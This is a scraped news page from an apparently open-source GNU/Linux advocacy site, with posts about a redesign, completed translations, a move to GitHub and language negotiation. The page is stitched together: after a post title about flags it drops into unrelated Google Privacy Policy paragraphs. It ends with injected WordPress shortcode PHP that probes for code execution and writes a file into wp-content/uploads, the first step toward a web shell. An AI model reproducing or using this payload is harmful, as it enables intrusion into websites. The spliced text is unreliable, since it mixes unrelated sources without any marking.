gets a facelift

For the past two weeks I’ve been working on a new design for the website. I have just published the result –

New design

The old design has been bugging me for a while now, and these days you see so many websites with beautiful designs, that I thought that couldn’t stay behind. In addition to that, viewing the website on a mobile devices with a small screen was absolutely horrible. The typeface was just not suitable for small screens, making it almost impossible to read the text (one would have to zoom in to read). Not to mention that desktops these days have bigger screens, and you want to fill those wide screens up nicely too.

So I’m hoping that this new layout will solve the above issues. It is far from perfect, I realize that. Designing has never really been up my alley (I prefer coding and back-end stuff), and I had to learn from existing websites to get an idea of how things should be done. But to my surprise, working on this new design has actually been a lot of fun (and a little addictive, I must say).

Recent advances in web technology allow you to do very neat things, with very little effort. And so I haven’t been shy to use these technologies to the fullest. For starters, I made the transition from XHTML to HTML5, which is supposed to be friendlier with mobile devices. I used HTML5 Boilerplate to implement what are considered to be best practices when building websites with HTML5 and CSS3. JQuery and several jQuery plug-ins were used to make the website more interactive. What’s also exciting is that modern web browsers have excellent support for Scalable Vector Graphics (SVG) now, so I’ve replaced some of the PNG images on the website with SVG images. These images can scale to any size, and as a result they will look sharp no matter the size of the screen. Some older web browsers don’t support SVG, however, so I used Modernizr and SVGeezy to provide PNG fallbacks.

Fixing the layout was the first step to get to the next milestone, getgnulinux 2.0. There are some open bug reports that still need to be taken care of. I’ve been postponing them because they require that the content of the website be updated, and I don’t think my writing skills are so great.  But now that I’ve taken care of the layout, I feel like working on the content too.

I am considering the new layout a work-in-progress. I’m still not 100% satisfied with it, but I feel I’ve kind of reached a maximum of my capabilities with this layout. If anyone wants to help out with improving the layout or the content, don’t hesitate to get in touch! I could really use the extra help. And of course I would like to hear from you, the reader, what you think of the new layout (positive or negative).

Russian and Traditional Chinese translations completed

Not much has changed on the website lately, but I’m glad to see that many people are still kindly donating their time to help with the translations. Two more translations were completed recently: Russian and Chinese (Taiwan).

Russian was completed back in July. Many thanks to Alissa, Фёдор Ходьков, and V’yacheslav Stetskevych! It had been stuck at 85% for some time, but Alissa managed to complete the remaining percentage in a single day.

And this week the translations for Traditional Chinese were completed. Many thanks to 冥王歐西里斯, Agustín Wu, BrLi, Max Wu, Po-Chun Huang, and V字龍, for they completed the translation from scratch in a little over a month!

Order GNU/Linux!

A few days ago I stumbled upon where you can order CDs and DVDs for as many as 195 GNU/Linux distributions. They even sell flavors of BSD and Solaris. The prices are low, the CDs are professionally labeled, and you can order from almost any location in the world. Even the website looks very professional, so I thought this would be the perfect website to send newcomers to GNU/Linux to (as an alternative to downloading).

Today I released an update (commit 562e490e59) for the Try or install page which adds links to for ordering the Linux distribution of choice. The instructions on this page were improved as well, with links to the official installation instructions for each distribution.

Before the update
After the update

This update meant that some translations needed to be updated as well, so that completed translations remain complete after releasing this update. The translators responded very fast to my request to update the translations. Thank you Xuacu Saturio, Jason Lau, AstroFloyd, mauron, Yaron Shahrabani, Manuel Meixide, Bastián Núñez, and Alissa for updating the translations!

I can imagine that for some people it might be difficult to download a 700+ MB ISO file and burn it to a CD/DVD themselves, as not everybody has access to high speed internet, blank CDs, and a CD burner. So hopefully this update helps more people get access to GNU/Linux.

Dutch and French translations completed

I am again happy to announce that more translations were completed for Dutch and French.

Many thanks to Anthony Verez, Bruno Bord, Bruno Ethvignot, Fabián Rodríguez, Joseph Maillardert, KIAaze, Laurent Richard, Loïs Di Qual, mauron, nh2amine, Olivier Cleynen, Stéphane Aulery, and Thiébaut Hillenweck for realizing the French translation! The French translation had been stuck at 77% for a few months, but mauron gave it a final push about a month ago.

Also many thanks to AstroFloyd, Johan Vervloet, and Tim Speetjens for helping with the Dutch translation! The Dutch translation was completed by AstroFloyd yesterday, who also spotted a few typos in the original English text which have been fixed as of today. I don’t know who have been responsible for 32% of the Dutch translation, as there were no credits for Dutch on the Credits page before AstroFloyd joined. I did manage to extract a few names from the old PO files. Forgive me if your name is missing, but do send me a message so that I can correct it.

Project moved to GitHub

The GetGNULinux project source code has been moved to a different version control system and code hosting service. When I started managing this project I used Bazaar for version control and Launchpad for project hosting. During my internship last summer I started using Git for version control because I heard good things about it. It didn’t take long before I was sold, partly because the book Pro Git by Scott Chacon was a delight to read and easy to understand. I soon started converting my personal Bazaar repositories to Git (see Convert bzr to git by AstroFloyd for instructions).

I later converted getgnulinux’ repository to Git as well. You can check out the new project page at GitHub. From now on this is where you can find the source code, report bugs, and make suggestions for the website. Patches, suggestions, and comments are welcome.

Chinese translation completed

It’s unbelievable, but true. Yet another translation for was completed today! is now available in Chinese (中文), more specifically Modern Standard Chinese, also known as Mandarin. Who knows how many more people we can reach now?

Many thanks to Sayson Peng, leonfeng, Jason Lau and others who worked on the Chinese translation! We couldn’t thank you enough!

Jason pointed out that the Chinese translation requires more improvement (grammar, spelling, fluidity, etc.) and that he will continue to make improvements where he can. But this kind of work shouldn’t be done by just one person. So if you are fluid in Mandarin and happen to have some spare time on your hands, please consider helping out with improving the Chinese translation. Head over to our translation section to get started.

The completion of the translation for Standard Chinese also opens the doors for other variants of Chinese. Transifex has a clone feature which makes it possible to copy all translations from one language to a new language for a project. Cantonese anyone?

Language negotiation implemented

Two posts back I was writing about my plans to implement language negotiation for I’m happy to announce that its implementation was completed today.

“Language negotiation is a function of the HTTP protocol which lets a server choose among several language versions of a page, based on the URL and on preference information sent by the browser (specifically in the Accept-Language header).” –

Before language negotiation was implemented, would always bring the visitor to the website in its default language (i.e. English). Now, when the language preferences are properly set in the visitor’s web browser and the website is available in one of the preferred languages, the website will automatically display the page in the visitor’s preferred language. It will only do this for languages for which the translation is complete (at the time of writing this, these are Hebrew and Asturian). This was a conscious design decision – it wouldn’t be very nice to display a page which is only partly translated.

Other changes came along with the implementation of language negotiation. The language menu on the top of each page now only shows the languages for which the translation is complete. Incomplete translations are still accessible from the “More languages” item in the language menu. This link brings the user to the new language selection page which gives an overview of all translations and their status.

The implementation of language negotiation was actually very simple. Language negotiation is a common feature for websites which means that there is a good chance that someone has already written freely available code for it. And indeed, someone has. There is HTTP::negotiateLanguage from PEAR, PHP’s own structured library of code. However, I used a modified version of that function which I got from Matthew Somerville’s website. The reason I chose Somerville’s version is because apparently PEAR’s version fails on one criterion (see Somerville’s page for details). This also allowed me to adapt some code to GGL’s code which made implementation even easier.

Poll: How could be improved?

How could be improved? The website has undergone some changes in the last few months, but I bet there is still enough room for improvement. I’d like to know what you think could improve

If you choose “better layout” or “better content”, please specify in the comments what exactly could be better.

Flag as a symbol of language – not a good idea

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]